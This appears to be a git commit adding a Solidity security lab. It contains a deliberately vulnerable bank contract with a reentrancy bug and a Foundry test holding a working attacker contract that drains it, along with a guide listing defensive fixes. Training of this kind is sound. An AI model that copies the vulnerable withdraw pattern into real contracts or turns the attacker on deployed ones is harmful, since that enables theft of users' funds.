Add blockchain security playground

This commit is contained in:
juvdiaz 2026-06-29 19:19:57 -06:00
parent 03fea90cc8
commit c4865f17c7
4 changed files with 126 additions and 0 deletions

View File

@ -42,3 +42,11 @@ PRIVATE_KEY=0x... forge script script/DeployCounter.s.sol \
``` ```
Use only Anvil dev keys. Do not paste a real wallet key into a shell. Use only Anvil dev keys. Do not paste a real wallet key into a shell.
## Security Exercises
The intentionally vulnerable examples live in `SECURITY_LAB.md`. Start with:
```bash
./jeannie blockchain-test test/security/Reentrancy.t.sol -vv
```

View File

@ -0,0 +1,42 @@
# Smart Contract Security Lab
This folder contains intentionally vulnerable contracts and tests that exploit
them. The goal is to learn how bugs work so you can review and defend contracts
more effectively.
Never deploy these contracts outside a local devnet.
## Current Exercises
### Reentrancy
Files:
- `src/security/VulnerableBank.sol`
- `test/security/Reentrancy.t.sol`
The vulnerable contract sends ETH to the caller before updating internal
balances. The attacker contract re-enters `withdraw` from its `receive`
function and drains more ETH than it deposited.
Run:
```bash
./jeannie blockchain-test test/security/Reentrancy.t.sol -vv
```
Defensive fixes to practice:
- checks-effects-interactions
- reentrancy guards
- pull-payment patterns
- avoiding unnecessary raw calls
- invariant tests for total balances
## Suggested Next Exercises
- bad access control
- `tx.origin` authentication
- signature replay without chain ID or nonce
- oracle price manipulation simulation
- unsafe upgradeable proxy ownership

View File

@ -0,0 +1,23 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract VulnerableBank {
mapping(address account => uint256 balance) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient balance");
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
unchecked {
balances[msg.sender] -= amount;
}
}
receive() external payable {}
}

View File

@ -0,0 +1,53 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {Test} from "forge-std/Test.sol";
import {VulnerableBank} from "../../src/security/VulnerableBank.sol";
contract ReentrancyAttacker {
VulnerableBank private immutable bank;
uint256 private immutable withdrawAmount;
uint256 public reentryCount;
constructor(VulnerableBank targetBank, uint256 targetWithdrawAmount) {
bank = targetBank;
withdrawAmount = targetWithdrawAmount;
}
function attack() external payable {
require(msg.value == withdrawAmount, "seed amount mismatch");
bank.deposit{value: msg.value}();
bank.withdraw(withdrawAmount);
}
receive() external payable {
if (address(bank).balance >= withdrawAmount && reentryCount < 3) {
reentryCount++;
bank.withdraw(withdrawAmount);
}
}
}
contract ReentrancyTest is Test {
VulnerableBank private bank;
ReentrancyAttacker private attacker;
address private victim = address(0xA11CE);
function setUp() public {
bank = new VulnerableBank();
attacker = new ReentrancyAttacker(bank, 1 ether);
vm.deal(victim, 5 ether);
vm.prank(victim);
bank.deposit{value: 5 ether}();
}
function testReentrancyDrainsMoreThanAttackerBalance() public {
attacker.attack{value: 1 ether}();
assertEq(attacker.reentryCount(), 3);
assertEq(address(attacker).balance, 4 ether);
assertEq(address(bank).balance, 2 ether);
}
}